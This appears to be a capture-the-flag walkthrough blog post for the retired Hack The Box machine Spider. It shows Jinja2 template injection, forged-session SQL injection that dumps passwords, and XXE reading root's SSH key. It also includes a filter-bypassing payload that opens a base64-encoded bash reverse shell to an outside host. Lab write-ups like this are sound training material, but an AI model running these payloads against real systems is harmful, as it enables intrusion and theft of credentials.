This post documents the complete walkthrough of Spider, a retired vulnerable VM created by InfoSecJack, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Spider is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.243 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-05-31 03:23:17 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.243
Discovered open port 80/tcp on 10.10.10.243

Nothing unusual with this. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,80 -A --reason 10.10.10.243 -oN nmap.txt
...
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
|   256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
|_  256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp open  http    syn-ack ttl 63 nginx 1.14.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://spider.htb/

Shit-show, man. I’d better map spider.htb to 10.10.10.243 in /etc/hosts. This is what spider.htb looks like. :laughing:

I spotted something interesting in the HTML source but is it true?

Directory/File Enumeration

Let’s see what wfuzz and SecLists say about rate limiting.

wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt --hc 404 http://spider.htb/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://spider.htb/FUZZ
Total requests: 17770

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000022:   302        3 L      24 W       219 Ch      "user"
000000036:   302        3 L      24 W       209 Ch      "logout"
000000038:   200        85 L     169 W      2130 Ch     "register"
000000039:   200        77 L     156 W      1832 Ch     "login"
000000079:   500        4 L      40 W       290 Ch      "checkout"
000000128:   500        4 L      40 W       290 Ch      "cart"
000000238:   200        255 L    634 W      11273 Ch    "index"
000000245:   302        3 L      24 W       219 Ch      "view"
000000269:   302        3 L      24 W       219 Ch      "main"
000016458:   308        3 L      24 W       275 Ch      "product-details"

Total time: 34.93086
Processed Requests: 17770
Filtered Requests: 17759
Requests/sec.: 508.7191

If you ask me, I’d say they look like endpoints rather than directories.

Flask Session Management

Check this out.

curl -I http://spider.htb
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 31 May 2021 07:29:04 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 11273
Connection: keep-alive
Vary: Cookie
Set-Cookie: session=eyJjYXJ0X2l0ZW1zIjpbXX0.YLSQQA.I9HsgTuBWyd6fut43CJ1Hr6wU04; HttpOnly; Path=/

I’m not sure about you but the cookie sure looks like Flask session cookie.

Server-Side Template Injection

According to HackTricks on the topic of Flask, if we are dealing with a Flask application, then server-side template injection (SSTI) in Jinja2 is most likely. Look at what happens after we register an account.

An universally unique identifier (UUID) is generated to associate with the username.

There you go—this is the User information page after logging in.

Suppose we register {{7*'7'}} as the username?

Now, check out the User information page.

SSTI on Jinja2!

One thing to note though, the creator has enforced a 10-character length on the SSTI payload so there aren’t many SSTI payloads to choose from. For one, we can try {{config}} to expose the current context like so.

Bingo.

Here’s the prettified version.

<Config {
 'ENV': 'production',
 'DEBUG': False,
 'TESTING': False,
 'PROPAGATE_EXCEPTIONS': None,
 'PRESERVE_CONTEXT_ON_EXCEPTION': None,
 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942',
 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31),
 'USE_X_SENDFILE': False,
 'SERVER_NAME': None,
 'APPLICATION_ROOT': '/',
 'SESSION_COOKIE_NAME': 'session',
 'SESSION_COOKIE_DOMAIN': False,
 'SESSION_COOKIE_PATH': None,
 'SESSION_COOKIE_HTTPONLY': True,
 'SESSION_COOKIE_SECURE': False,
 'SESSION_COOKIE_SAMESITE': None,
 'SESSION_REFRESH_EACH_REQUEST': True,
 'MAX_CONTENT_LENGTH': None,
 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200),
 'TRAP_BAD_REQUEST_ERRORS': None,
 'TRAP_HTTP_EXCEPTIONS': False,
 'EXPLAIN_TEMPLATE_LOADING': False,
 'PREFERRED_URL_SCHEME': 'http',
 'JSON_AS_ASCII': True,
 'JSON_SORT_KEYS': True,
 'JSONIFY_PRETTYPRINT_REGULAR': False,
 'JSONIFY_MIMETYPE': 'application/json',
 'TEMPLATES_AUTO_RELOAD': None,
 'MAX_COOKIE_SIZE': 4093,
 'RATELIMIT_ENABLED': True,
 'RATELIMIT_DEFAULTS_PER_METHOD': False,
 'RATELIMIT_SWALLOW_ERRORS': False,
 'RATELIMIT_HEADERS_ENABLED': False,
 'RATELIMIT_STORAGE_URL': 'memory://',
 'RATELIMIT_STRATEGY': 'fixed-window',
 'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset',
 'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining',
 'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit',
 'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After',
 'UPLOAD_FOLDER': 'static/uploads'
}>

I suppose Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942 is the secret key to Flask’s session management.

One thing I forget to mention. After logging in, the Flask application will generate a UUID and store it in the session cookie, along with the shopping cart. This is what it looks like after decoding.

SQL Injection with a Twist

It’s reasonable to conclude that there’s some kind of database behind to associate each username to the UUID. As such, let’s use --eval option from sqlmap in combination with flask_unsign module to change the session cookie value like so.

sqlmap --eval "from flask_unsign import session as s; session = s.sign({'cart_items': [], 'uuid': session}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie="session=*" -u http://spider.htb/
...
sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: session=' AND (SELECT 8159 FROM (SELECT(SLEEP(5)))qDTc) AND 'pxGs'='pxGs

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: session=' UNION ALL SELECT CONCAT(0x7178767671,0x4578656e4741544f7270456d5359504274564a4d476458484d76585150644b454c664d6e68497865,0x71706b7071)-- -
---
[06:19:19] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.14.0
back-end DBMS: MySQL >= 5.0.12

Let’s use the UNION technique for further enumeration since it’s way faster than time-based blind for sure.

sqlmap --eval "from flask_unsign import session as s; session = s.sign({'cart_items': [], 'uuid': session}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie="session=*" -u http://spider.htb/ --technique=U --dbs
...
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] shop
[*] sys

Time to dump the entire shop database.

sqlmap --eval "from flask_unsign import session as s; session = s.sign({'cart_items': [], 'uuid': session}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie="session=*" -u http://spider.htb/ --technique=U -D shop --dump
...
Database: shop
Table: items
[6 entries]
+----+-------------+-------+---------------------------------------------------+-------------------------------------------------------------------------+
| id | name        | price | image_path                                        | description                                                             |
+----+-------------+-------+---------------------------------------------------+-------------------------------------------------------------------------+
| 1  | Chair       | 1337  | stefan-chair-brown-black__0727320_PE735593_S5.JPG | This is a beautiful chair, finest quality, previously owned by Mitnick. |
| 2  | Black Chair | 1337  | martin-chair-black-black__0729761_PE737128_S5.JPG | This is the same as the other one but in black.                         |
| 3  | Chair       | 1337  | stefan-chair-brown-black__0727320_PE735593_S5.JPG | This is a beautiful chair, finest quality, previously owned by Mitnick. |
| 4  | Black Chair | 1337  | martin-chair-black-black__0729761_PE737128_S5.JPG | This is the same as the other one but in black.                         |
| 5  | Chair       | 1337  | stefan-chair-brown-black__0727320_PE735593_S5.JPG | This is a beautiful chair, finest quality, previously owned by Mitnick. |
| 6  | Black Chair | 1337  | martin-chair-black-black__0729761_PE737128_S5.JPG | This is the same as the other one but in black.                         |
+----+-------------+-------+---------------------------------------------------+-------------------------------------------------------------------------+
...
Database: shop
Table: users
[2 entries]
+----+--------------------------------------+---------+-----------------+
| id | uuid                                 | name    | password        |
+----+--------------------------------------+---------+-----------------+
| 1  | 129f60ea-30cf-4065-afb9-6be45ad38b73 | chiv    | ch1VW4sHERE7331 |
| 2  | 69bc12e9-5ab5-4206-a731-531f9099ec98 | dipshit | Dipshit!23      |
+----+--------------------------------------+---------+-----------------+
...
Database: shop
Table: messages
[1 entry]
+---------+---------+-----------------------------------------------------------------------------------+---------------------+
| post_id | creator | message                                                                           | timestamp           |
+---------+---------+-----------------------------------------------------------------------------------+---------------------+
| 1       | 1       | Fix the <b>/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal</b> portal! | 2020-04-24 15:02:41 |
+---------+---------+-----------------------------------------------------------------------------------+---------------------+

Suppose we log in as chiv?

Looks like we have a hidden endpoint!

More Server-Side Template Injection

It’s perfectly reasonable to suspect SSTI vulnerability is on this page as well. Check this out.

So, we have some kind of filter for bad characters that will lead to remote command execution.

Foothold

Long story short, after many trial-and-error attempts, this is the SSTI payload that worked.

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMjUvMTIzNCAwPiYx | base64 -d | bash")["read"]() %} a {% endwith %}

Where YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMjUvMTIzNCAwPiYx is the base64-encoded string of bash -i >& /dev/tcp/10.10.16.125/1234 0>&1.

Let’s go!

The file user.txt is in chiv’s home directory. I also found chiv’s SSH private key that’ll allow me to get a full TTY shell like so.

Privilege Escalation

During enumeration of chiv’s account, I notice another uWSGI application was running on 8080/tcp.

SSH Local Port Forwarding

I already have chiv’s SSH private key and I can forward 8080/tcp to a local port on my loopback interface like so.

ssh -i chiv -L 8888:127.0.0.1:8080 [email protected]

Where chiv is chiv’s SSH private key.

Cart Test Beta

Once that’s done, this is what’s greeted me when I go to http://localhost:8888.

All this while, I had Burp capturing HTTP traffic in the background in case anything interesting shows up.

First up, POST login

Then GET

Notice the session cookie? Let’s decode it.

flask-unsign --decode --cookie .eJxNjEFvgyAARv_KwnkHdLXJTHYxgNYNHCii3LQ0QYvWbCZ1Nv3vs5dlxy_ve-8G3DI4EN7AUwtCIDEjBi8FP6elUPNYDp46KfrTJrprJNkV8RQZ6SFeCVoi8SGxfTfDYZX5jDY-5pJFGZkS0Uf6wR9bQ4e4MimHeKeJzdqYzUzZrvTkVy2NOvppkiFLqaf3ym290lVULVz7r-N_XyT2Wq84aLY-raKu6cWLxDQ4xnTJlG3ESq71cIH539_46mxiSpxkeOZ8dUHdHwJKovGzgG_g_gymSzfO3yCE91_isVag.YLefrw.drg5kRccbB7fXRkm1wWR4EvTNu0
{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+aGVsbG88L3VzZXJuYW1lPgogICAgICAgIDxpc19hZG1pbj4wPC9pc19hZG1pbj4KICAgIDwvZGF0YT4KPC9yb290Pg==', 'points': 0}

Interesting. What’s lxml?

Looks like we have some kind of XML parser here. Besides, check this out.

echo PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+aGVsbG88L3VzZXJuYW1lPgogICAgICAgIDxpc19hZG1pbj4wPC9pc19hZG1pbj4KICAgIDwvZGF0YT4KPC9yb290Pg== | base64 -d; echo
<!-- API Version 1.0.0 -->
<root>
    <data>
        <username>hello</username>
        <is_admin>0</is_admin>
    </data>
</root>

I wrote this simple shell script to facilitate flask-unsign and base64 decoding.

decode.sh
#!/bin/bash

COOKIE=$1

flask-unsign --decode --cookie $COOKIE \
| cut -d"'" -f4 \
| base64 -d

echo

If I had to guess, I would say that we have a XML External Entity (XXE) vulnerability in our hands. Looks like we have control over two parameters from the POST login request: username and version.

XML External Entity (XXE) Attack

Let’s send this edited POST request and see what gets parsed by the web application.

After the session cookie is decoded, this is what’s parsed by the web application.

<!-- API Version 1.0.0 -->
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<!-- whatever -->
<root>
    <data>
        <username>&xxe;</username>
        <is_admin>0</is_admin>
    </data>
</root>

Instead of “WELCOME username”, we get /etc/passwd!

Read /root/.ssh/id_rsa with XXE

We should be able to read root’s SSH private key with this XXE attack.

Armed with root’s SSH private key, getting root.txt is trivial.

:dancer: